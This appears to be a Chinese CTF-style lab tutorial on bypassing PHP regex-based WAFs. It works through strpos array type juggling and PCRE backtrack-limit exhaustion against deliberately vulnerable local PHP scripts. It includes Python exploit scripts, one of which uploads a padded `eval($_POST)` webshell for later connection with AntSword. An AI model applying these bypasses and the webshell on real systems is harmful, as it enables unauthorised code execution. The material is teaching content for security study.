目录
利用strpos的特性拿到flag
利用回溯绕过正则表达式
利用回溯次数绕过正则表达式并且实现文件上传
使用回溯绕过正则表达式waf拿到flag
本篇会讲解三个实验来分别绕过正则表达式,python的正则表达式和Javascript的正则表达式大致相同如果有正则表达式不太懂的小伙伴也可以看一下我之前写过的一篇关于Javascript正则表达式的文章:Javascript正则表达式
利用strpos的特性拿到flag
在看利用正则表达式绕过waf之前我们首先看这样一个案例:利用!==来拿到flag
现在有一个php文件设置了防御机制我们应该如果进行绕过
<?php
// 利用回溯绕过正则表达式
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting);//正则匹配
}
$greeting=@$_POST['greeting'];
//它是处理字符串,如果你传一个数组,直接返回null
if(!areyouok($greeting)) //如果正则为假
{
if(strpos($greeting,'Merry Christmas') !== false){//字符查找,如果查找到返回字符的位置,没有就返回null
// strpos:查看指定字符的首次出现位置,
echo 'Mearry Christmas. '.'flag{i_lov3_NanHang_everyThing}';
}
else{
echo "Do you know .swp file?";
}
}
else{
echo 'DO you know PHP?';
}
我们可以利用弱类型!== 来进行绕过,由于if条件判断中对我们提交的grerting进行了strpos函数的处理,这个函数有一个特性它是处理字符串,如果传入了一个数组,就会直接返回返回null
然后我们又知道:
null != false 的结果是false
null !==false 的结果是 true
这里可以参考这两张表:
可以利用这一点给greeting中传入一个非字符串的值,比如说数组,来让if条件判断的结果为真,即!==的结果为真,null !== false为真,这样我们就可以成功的拿到flag了
测试一下:
可以看到我们确实是拿到了flag!!!
但是如果上面的代码修改成这个样子那我们应该怎么绕过呢?
<?php
function areyouok($greeting)
{
return preg_match('/Merry.*Christmas/is',$greeting);
}
$greeting=@$_POST['greeting'];
//它是处理字符串,如果你传一个数组,直接返回null
if(!is_array($greeting)){
if(!areyouok($greeting))
{
if(strpos($greeting,'Merry Christmas') != false){//字符查找,如果查找到返回字符的位置,没有就返回null
// strpos:查看指定字符的首次出现位置
// 特性,它是处理字符串,如果传入了一个数组,就会返回
echo 'Mearry Christmas. '.'flag{i_lov3_NanHang_everyThing}';
}
else{
echo "Do you know .swp file?";
}
}
}else{
echo 'DO you know PHP?';
}
?>
这里就需要我们的回溯来进行绕过了
利用回溯绕过正则表达式
这里首先我们需要知道一个NFA和DFA引擎
正则表达式是一个可以被「有限状态自动机」接受的语言类。
「有限状态自动机」,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。
而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:
DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。
大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。
注:js的引擎是DFA,PHP的引擎是NFA(这也是可以被回溯可以绕过waf的原因)
PHP 的 pcre.backtrack_limit 限制利用
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。
我们可以通过 var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:
这里有个有趣的事情,就是 PHP 文档中,中英文版本的数值是不一样的:
中文为10万
英文为100万
我们应该以英文版为参考。
可见,回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?
我们通过发送超长字符串的方式,使正则执行失败,即,可以在传入的代码中传入100万个字符,让将正则的回溯次数消耗完,那么正则就失效了,最后绕过目标对 PHP 语言的限制。
这里可以举一个例子:
现在有一个文件上传的后端php代码中设置了正则表达式waf
利用回溯次数绕过正则表达式并且实现文件上传
<?php
function is_php($data)
{
return preg_match('/<\?.*[(`;?)].*/is',$data); //这里是一个正则,用于防御php文件的上传
}
if (empty($_FILES)) //这里判断是不是文件
{
die(show_source(__FILE__)); //打印出源码
}
$user_dir =md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']); //获取文件内容
if(is_php($data)){
die ("bad request");
}
else{
@mkdir($user_dir,0755);
$path =$user_dir . '/' . 'oupeng'. '.php';
move_uploaded_file($_FILES['file']['tmp_name'],$path);
header("Location:$path",true,303);
}
//任意命令执行
我们就可以利用正则表达式的回溯次数 实现文件上传
编写pythonPOST提交代码:
from requests import post,get
from requests import post
payload={
'greeting':'Merry Christmas'
}
res=post('http://127.0.0.1/openlab/xss/regexp/demo4.php',data=payload)
print(res.text)
这里我们还没有增加绕过,先看看结果
可以看到,这咯因为有正则waf的限制,我们无法上传一个.php后缀的文件
现在我们增加100万个字符在里面:
from requests import post,get
from io import BytesIO
url='http://127.0.0.1/openlab/xss/regexp/demo5.php'
files = {
'file': BytesIO(b'aaa<?php eval($_POST[123]);//' +b'a' *1000000)
}
res = post(url,files=files,allow_redirects=False)
print(res.text)
再去查看结果:
很明显我们已经成功的利用回溯次数绕过了waf拿到了flag
那些我们也可以在文件中看看我们上传额度.php文件是否上传成功
很明显这里新建了一个文件夹,文件夹下有一个php文件,里面有很多a,我们这里就成功的绕过了php的限制,下面我们就可以直接使用蚁剑来连接
到这里我们这个实验就完成了,这个实验说明利用正则的回溯次数确实是可以绕过正则表达式的
最后那就试着使用回溯来绕过那个加强版的题目
使用回溯绕过正则表达式waf拿到flag
这里就不用多说了,直接给传入的值中增加100万个字符试试
demo2.php的代码前民已经给出了
这里是python的代码:
from requests import post,get
payload={
'greeting':'Merry Christmas' +'a' * 1000000
}
res=post('http://127.0.0.1/openlab/xss/regexp/demo2.php',data=payload)
print(res.text)
可以看到成功的拿到了flag,到这里利用回溯绕过waf的实验就已经全部完成了
总结一下
1、我们利用lstrpos函数会将非字符串的值当做null+!==来绕过了最基本的正则
2、利用回溯我们也可以绕过文件上传的后缀名限制,上传webshell
3、利用回溯我们绕过了正则表达式的限制,成功的拿到了flag